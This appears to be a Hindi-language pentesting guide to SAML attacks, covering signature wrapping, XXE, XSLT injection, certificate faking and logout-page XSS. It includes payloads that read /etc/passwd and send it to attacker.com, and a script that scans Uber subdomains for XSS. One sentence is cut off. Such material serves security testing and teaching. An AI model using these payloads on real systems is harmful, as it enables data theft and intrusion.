SAML हमले

बुनियादी जानकारी

{{#ref}} saml-basics.md {{#endref}}

उपकरण

SAMLExtractor: एक उपकरण जो एक URL या URL की सूची ले सकता है और SAML उपभोग URL को वापस प्रिंट करता है।

XML राउंड-ट्रिप

XML में XML का हस्ताक्षरित भाग मेमोरी में सहेजा जाता है, फिर कुछ एन्कोडिंग/डिकोडिंग की जाती है और हस्ताक्षर की जांच की जाती है। आदर्श रूप से, वह एन्कोडिंग/डिकोडिंग डेटा को नहीं बदलनी चाहिए, लेकिन उस परिदृश्य के आधार पर, जांच की जा रही डेटा और मूल डेटा समान नहीं हो सकते।

उदाहरण के लिए, निम्नलिखित कोड की जांच करें:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

REXML 3.2.4 या उससे पहले के संस्करण के खिलाफ प्रोग्राम चलाने पर इसके बजाय निम्नलिखित आउटपुट प्राप्त होगा:

First child in original doc: Y
First child after round-trip: Z

यहाँ बताया गया है कि REXML ने उपरोक्त प्रोग्राम से मूल XML दस्तावेज़ को कैसे देखा:

और यह इसे पार्सिंग और सीरियलाइजेशन के एक दौर के बाद कैसे देखा:

कमजोरी के बारे में अधिक जानकारी और इसका दुरुपयोग कैसे करें:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

XML Signature Wrapping Attacks

XML Signature Wrapping attacks (XSW) में, प्रतिकूल पक्ष एक कमजोरी का लाभ उठाते हैं जो तब उत्पन्न होती है जब XML दस्तावेज़ों को दो अलग-अलग चरणों के माध्यम से संसाधित किया जाता है: signature validation और function invocation। ये हमले XML दस्तावेज़ संरचना को बदलने में शामिल होते हैं। विशेष रूप से, हमलावर जाली तत्वों को इंजेक्ट करता है जो XML Signature की वैधता को प्रभावित नहीं करते। यह हेरफेर application logic द्वारा विश्लेषित तत्वों और signature verification module द्वारा जांचे गए तत्वों के बीच एक विसंगति उत्पन्न करने के लिए किया जाता है। परिणामस्वरूप, जबकि XML Signature तकनीकी रूप से वैध रहता है और सत्यापन पास करता है, एप्लिकेशन लॉजिक धोखाधड़ी वाले तत्वों को संसाधित करता है। इस प्रकार, हमलावर प्रभावी रूप से XML Signature की integrity protection और origin authentication को बायपास करता है, जिससे मनमाने सामग्री का इंजेक्शन बिना किसी पहचान के संभव हो जाता है।

निम्नलिखित हमले इस ब्लॉग पोस्ट और इस पेपर पर आधारित हैं। इसलिए आगे की जानकारी के लिए उन्हें देखें।

XSW #1

• Strategy: एक नया रूट तत्व जिसमें सिग्नेचर शामिल है जोड़ा गया है।
• Implication: वेलिडेटर वैध "Response -> Assertion -> Subject" और हमलावर के "evil new Response -> Assertion -> Subject" के बीच भ्रमित हो सकता है, जिससे डेटा इंटीग्रिटी की समस्याएँ उत्पन्न हो सकती हैं।

XSW #2

• Difference from XSW #1: एक एनवेलपिंग सिग्नेचर के बजाय एक डिटैच्ड सिग्नेचर का उपयोग करता है।
• Implication: "evil" संरचना, XSW #1 के समान, इंटीग्रिटी चेक के बाद व्यवसायिक लॉजिक को धोखा देने का लक्ष्य रखती है।

XSW #3

• Strategy: एक बुरी Assertion को मूल assertion के समान स्तर पर तैयार किया गया है।
• Implication: व्यवसायिक लॉजिक को दुर्भावनापूर्ण डेटा का उपयोग करने के लिए भ्रमित करने का इरादा है।

XSW #4

• Difference from XSW #3: मूल Assertion डुप्लिकेट (evil) Assertion का बच्चा बन जाता है।
• Implication: XSW #3 के समान लेकिन XML संरचना को अधिक आक्रामक रूप से बदलता है।

XSW #5

• Unique Aspect: न तो Signature और न ही मूल Assertion मानक कॉन्फ़िगरेशन (enveloped/enveloping/detached) का पालन करते हैं।
• Implication: कॉपी की गई Assertion Signature को एनवेलप करती है, अपेक्षित दस्तावेज़ संरचना को संशोधित करती है।

XSW #6

• Strategy: XSW #4 और #5 के समान स्थान सम्मिलन, लेकिन एक मोड़ के साथ।
• Implication: कॉपी की गई Assertion Signature को एनवेलप करती है, जो फिर मूल Assertion को एनवेलप करती है, एक नेस्टेड धोखाधड़ी संरचना बनाती है।

XSW #7

• Strategy: एक Extensions तत्व को कॉपी की गई Assertion के बच्चे के रूप में सम्मिलित किया जाता है।
• Implication: यह Extensions तत्व की कम प्रतिबंधात्मक स्कीमा का लाभ उठाता है ताकि स्कीमा सत्यापन काउंटरमेजर्स को बायपास किया जा सके, विशेष रूप से OpenSAML जैसी लाइब्रेरी में।

XSW #8

• Difference from XSW #7: हमले के एक रूप के लिए एक और कम प्रतिबंधात्मक XML तत्व का उपयोग करता है।
• Implication: मूल Assertion कम प्रतिबंधात्मक तत्व का बच्चा बन जाता है, XSW #7 में उपयोग की गई संरचना को उलट देता है।

Tool

आप अनुरोध को पार्स करने, किसी भी XSW हमले को लागू करने और इसे लॉन्च करने के लिए Burp एक्सटेंशन SAML Raider का उपयोग कर सकते हैं।

XXE

यदि आप नहीं जानते कि XXE हमले किस प्रकार के होते हैं, तो कृपया निम्नलिखित पृष्ठ पढ़ें:

{{#ref}} ../xxe-xee-xml-external-entity.md {{#endref}}

SAML Responses deflated और base64 encoded XML दस्तावेज़ होते हैं और XML External Entity (XXE) हमलों के प्रति संवेदनशील हो सकते हैं। SAML Response की XML संरचना में हेरफेर करके, हमलावर XXE कमजोरियों का लाभ उठाने का प्रयास कर सकते हैं। यहाँ इस प्रकार के हमले को कैसे देखा जा सकता है:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

आप Burp extension SAML Raider का उपयोग करके SAML अनुरोध से POC उत्पन्न करने के लिए संभावित XXE कमजोरियों और SAML कमजोरियों का परीक्षण कर सकते हैं।

इस वार्ता को भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

XSLT के बारे में अधिक जानकारी के लिए जाएं:

{{#ref}} ../xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}}

Extensible Stylesheet Language Transformations (XSLT) का उपयोग XML दस्तावेजों को HTML, JSON, या PDF जैसे विभिन्न प्रारूपों में परिवर्तित करने के लिए किया जा सकता है। यह महत्वपूर्ण है कि XSLT परिवर्तनों को डिजिटल हस्ताक्षर के सत्यापन से पहले किया जाता है। इसका मतलब है कि एक हमला सफल हो सकता है भले ही हस्ताक्षर मान्य न हो; एक स्व-हस्ताक्षरित या अमान्य हस्ताक्षर आगे बढ़ने के लिए पर्याप्त है।

यहां आप इस प्रकार की कमजोरियों की जांच के लिए एक POC पा सकते हैं, हैक्ट्रिक्स पृष्ठ पर जो इस अनुभाग की शुरुआत में उल्लेखित है, आप पेलोड्स के लिए देख सकते हैं।

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

आप Burp एक्सटेंशन SAML Raider का उपयोग करके SAML अनुरोध से POC उत्पन्न कर सकते हैं ताकि संभावित XSLT कमजोरियों का परीक्षण किया जा सके।

इस वार्ता को भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

XML Signature Exclusion SAML कार्यान्वयन के व्यवहार का अवलोकन करता है जब Signature तत्व अनुपस्थित होता है। यदि यह तत्व गायब है, तो signature validation नहीं हो सकता, जिससे यह कमजोर हो जाता है। इसे परीक्षण करने के लिए उन सामग्री को बदलना संभव है जो आमतौर पर हस्ताक्षर द्वारा सत्यापित की जाती हैं।

Tool

आप Burp एक्सटेंशन SAML Raider का उपयोग कर सकते हैं। SAML Response को इंटरसेप्ट करें और Remove Signatures पर क्लिक करें। ऐसा करने पर सभी Signature तत्व हटा दिए जाते हैं।

हस्ताक्षरों को हटाने के बाद, अनुरोध को लक्ष्य की ओर बढ़ने दें। यदि Signature सेवा द्वारा आवश्यक नहीं है

Certificate Faking

Certificate Faking

Certificate Faking एक तकनीक है जिससे यह परीक्षण किया जा सके कि Service Provider (SP) सही तरीके से सत्यापित करता है कि SAML Message एक विश्वसनीय Identity Provider (IdP) द्वारा हस्ताक्षरित है। इसमें SAML Response या Assertion को हस्ताक्षरित करने के लिए *self-signed certificate का उपयोग करना शामिल है, जो SP और IdP के बीच विश्वास सत्यापन प्रक्रिया का मूल्यांकन करने में मदद करता है।

How to Conduct Certificate Faking

SAML Raider Burp एक्सटेंशन का उपयोग करके प्रक्रिया के निम्नलिखित चरण हैं:

1. SAML Response को इंटरसेप्ट करें।
2. यदि प्रतिक्रिया में एक हस्ताक्षर है, तो Send Certificate to SAML Raider Certs बटन का उपयोग करके प्रमाणपत्र को SAML Raider Certs पर भेजें।
3. SAML Raider Certificates टैब में, आयातित प्रमाणपत्र का चयन करें और एक self-signed क्लोन बनाने के लिए Save and Self-Sign पर क्लिक करें।
4. Burp के Proxy में इंटरसेप्ट किए गए अनुरोध पर वापस जाएं। XML Signature ड्रॉपडाउन से नए self-signed प्रमाणपत्र का चयन करें।
5. Remove Signatures बटन का उपयोग करके किसी भी मौजूदा हस्ताक्षरों को हटा दें।
6. उचित रूप से नए प्रमाणपत्र के साथ संदेश या assertion को (Re-)Sign Message या (Re-)Sign Assertion बटन का उपयोग करके हस्ताक्षरित करें।
7. हस्ताक्षरित संदेश को आगे बढ़ाएं। सफल प्रमाणीकरण यह संकेत करता है कि SP आपके self-signed प्रमाणपत्र द्वारा हस्ताक्षरित संदेशों को स्वीकार करता है, जो SAML संदेशों के सत्यापन प्रक्रिया में संभावित कमजोरियों को उजागर करता है।

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion और Service Provider Target Confusion यह जांचने में शामिल हैं कि Service Provider सही तरीके से प्रतिक्रिया के इच्छित प्राप्तकर्ता को सत्यापित करता है। मूल रूप से, एक Service Provider को एक प्रमाणीकरण प्रतिक्रिया को अस्वीकार करना चाहिए यदि यह किसी अन्य प्रदाता के लिए थी। यहां महत्वपूर्ण तत्व Recipient क्षेत्र है, जो SAML Response के SubjectConfirmationData तत्व के भीतर पाया जाता है। यह क्षेत्र एक URL निर्दिष्ट करता है जहां Assertion भेजा जाना चाहिए। यदि वास्तविक प्राप्तकर्ता इच्छित Service Provider से मेल नहीं खाता है, तो Assertion को अमान्य माना जाना चाहिए।

How It Works

SAML Token Recipient Confusion (SAML-TRC) हमले के लिए कुछ शर्तें पूरी होनी चाहिए। सबसे पहले, Service Provider (जिसे SP-Legit कहा जाता है) पर एक मान्य खाता होना चाहिए। दूसरे, लक्षित Service Provider (SP-Target) को उसी Identity Provider से टोकन स्वीकार करना चाहिए जो SP-Legit की सेवा करता है।

इन शर्तों के तहत हमले की प्रक्रिया सीधी है। SP-Legit के साथ साझा Identity Provider के माध्यम से एक प्रामाणिक सत्र शुरू किया जाता है। Identity Provider से SP-Legit के लिए SAML Response को इंटरसेप्ट किया जाता है। इस इंटरसेप्ट किए गए SAML Response को, जो मूल रूप से SP-Legit के लिए था, SP-Target की ओर पुनर्निर्देशित किया जाता है। इस हमले में सफलता को SP-Target द्वारा Assertion को स्वीकार करने से मापा जाता है, जो SP-Legit के लिए उपयोग किए गए समान खाता नाम के तहत संसाधनों तक पहुंच प्रदान करता है।

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

Logout कार्यक्षमता में XSS

मूल शोध इस लिंक के माध्यम से पहुँचा जा सकता है।

डायरेक्टरी ब्रूट फोर्सिंग की प्रक्रिया के दौरान, एक लॉगआउट पृष्ठ खोजा गया:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

इस लिंक को एक्सेस करने पर, एक रीडायरेक्शन हुआ:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

यह दर्शाता है कि base पैरामीटर एक URL स्वीकार करता है। इसे ध्यान में रखते हुए, विचार आया कि URL को javascript:alert(123); के साथ प्रतिस्थापित किया जाए ताकि XSS (Cross-Site Scripting) हमले को प्रारंभ किया जा सके।

Mass Exploitation

इस शोध से:

SAMLExtractor टूल का उपयोग uberinternal.com के उपडोमेन का विश्लेषण करने के लिए किया गया था जो समान पुस्तकालय का उपयोग कर रहे थे। इसके बाद, oidauth/prompt पृष्ठ को लक्षित करने के लिए एक स्क्रिप्ट विकसित की गई। यह स्क्रिप्ट डेटा इनपुट करके और यह जांचकर XSS (Cross-Site Scripting) के लिए परीक्षण करती है कि क्या यह आउटपुट में परिलक्षित होता है। उन मामलों में जहां इनपुट वास्तव में परिलक्षित होता है, स्क्रिप्ट पृष्ठ को कमजोर के रूप में चिह्नित करती है।

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

संदर्भ

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/